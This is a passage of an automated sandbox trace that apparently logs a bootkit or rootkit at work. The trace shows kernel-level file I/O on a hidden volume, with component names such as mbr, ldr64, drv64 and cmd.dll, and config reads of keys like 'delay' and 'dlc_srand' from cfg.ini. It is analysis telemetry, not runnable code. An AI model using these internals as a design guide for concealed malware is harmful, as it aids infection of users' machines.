(Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.585] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.585] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.585] KeEnterCriticalRegion () [0125.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.585] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.585] IdePortDispatch () returned 0x103 [0125.585] KeWaitForMutexObject () returned 0x0 [0125.586] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.586] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.586] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.586] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.586] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.586] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.586] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.586] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.586] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.586] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.586] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.586] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.586] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.586] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.586] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.586] KeLeaveCriticalRegion () [0125.586] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.586] ReleaseMutex (hMutex=0x100) returned 1 [0125.586] Sleep (dwMilliseconds=0x2bf20) [0125.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e0e75f0, dwHighDateTime=0x1d24fa4)) [0125.592] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.592] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.592] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.592] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.592] KeEnterCriticalRegion () [0125.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.592] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.592] IdePortDispatch () returned 0x103 [0125.593] KeWaitForMutexObject () returned 0x0 [0125.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.593] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.593] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.593] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.593] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.593] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf08a0 [0125.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.593] KeLeaveCriticalRegion () [0125.593] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.593] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.593] KeEnterCriticalRegion () [0125.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.593] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.593] KeLeaveCriticalRegion () [0125.593] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.593] KeEnterCriticalRegion () [0125.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.593] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.593] IdePortDispatch () returned 0x103 [0125.593] KeWaitForMutexObject () returned 0x0 [0125.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.593] KeLeaveCriticalRegion () [0125.593] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.593] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.593] KeEnterCriticalRegion () [0125.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.594] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c83000 [0125.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.594] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.594] IdePortDispatch () returned 0x103 [0125.594] KeWaitForMutexObject () returned 0x0 [0125.594] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.594] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.594] IdePortDispatch () returned 0x103 [0125.594] KeWaitForMutexObject () returned 0x0 [0125.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.594] KeLeaveCriticalRegion () [0125.594] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.595] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.595] KeEnterCriticalRegion () [0125.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.595] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.595] KeLeaveCriticalRegion () [0125.595] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.595] KeEnterCriticalRegion () [0125.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.595] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.595] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.595] KeLeaveCriticalRegion () [0125.595] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.595] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.595] KeEnterCriticalRegion () [0125.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.595] ExFreePoolWithTag (P=0xfffffa8003bf08a0, Tag=0x0) [0125.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.595] KeLeaveCriticalRegion () [0125.595] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.595] ReleaseMutex (hMutex=0xf0) returned 1 [0125.595] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.595] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.595] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.595] KeEnterCriticalRegion () [0125.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.595] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.595] IdePortDispatch () returned 0x103 [0125.595] KeWaitForMutexObject () returned 0x0 [0125.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.596] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.596] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.596] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.596] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.596] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7320 [0125.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.596] KeLeaveCriticalRegion () [0125.596] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.596] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.596] KeEnterCriticalRegion () [0125.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.596] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.596] KeLeaveCriticalRegion () [0125.596] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.596] KeEnterCriticalRegion () [0125.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.596] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.596] IdePortDispatch () returned 0x103 [0125.596] KeWaitForMutexObject () returned 0x0 [0125.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.596] KeLeaveCriticalRegion () [0125.596] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.596] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.596] KeEnterCriticalRegion () [0125.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.596] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c84000 [0125.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.596] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.596] IdePortDispatch () returned 0x103 [0125.597] KeWaitForMutexObject () returned 0x0 [0125.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.597] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.597] IdePortDispatch () returned 0x103 [0125.597] KeWaitForMutexObject () returned 0x0 [0125.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.597] KeLeaveCriticalRegion () [0125.597] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.597] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.597] KeEnterCriticalRegion () [0125.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.598] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.598] KeLeaveCriticalRegion () [0125.598] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.598] KeEnterCriticalRegion () [0125.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.598] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.598] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.598] KeLeaveCriticalRegion () [0125.598] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.598] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.598] KeEnterCriticalRegion () [0125.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.598] ExFreePoolWithTag (P=0xfffffa8003bf7320, Tag=0x0) [0125.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.598] KeLeaveCriticalRegion () [0125.598] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.598] ReleaseMutex (hMutex=0xf0) returned 1 [0125.598] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.598] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.598] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.598] KeEnterCriticalRegion () [0125.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.598] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.598] IdePortDispatch () returned 0x103 [0125.598] KeWaitForMutexObject () returned 0x0 [0125.598] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.598] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.598] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.598] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.598] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.598] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8ec0 [0125.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.598] KeLeaveCriticalRegion () [0125.599] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.599] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.599] KeEnterCriticalRegion () [0125.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.599] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.599] KeLeaveCriticalRegion () [0125.599] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.599] KeEnterCriticalRegion () [0125.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.599] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.599] IdePortDispatch () returned 0x103 [0125.599] KeWaitForMutexObject () returned 0x0 [0125.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.600] KeLeaveCriticalRegion () [0125.600] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.600] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.600] KeEnterCriticalRegion () [0125.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.600] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb2000 [0125.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.600] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.600] IdePortDispatch () returned 0x103 [0125.601] KeWaitForMutexObject () returned 0x0 [0125.601] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.601] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.601] IdePortDispatch () returned 0x103 [0125.601] KeWaitForMutexObject () returned 0x0 [0125.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.601] KeLeaveCriticalRegion () [0125.601] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.601] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.601] KeEnterCriticalRegion () [0125.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.602] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.602] KeLeaveCriticalRegion () [0125.602] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.602] KeEnterCriticalRegion () [0125.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.602] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.602] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf82b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.602] KeLeaveCriticalRegion () [0125.602] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.602] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.602] KeEnterCriticalRegion () [0125.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.602] ExFreePoolWithTag (P=0xfffffa8003bf8ec0, Tag=0x0) [0125.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 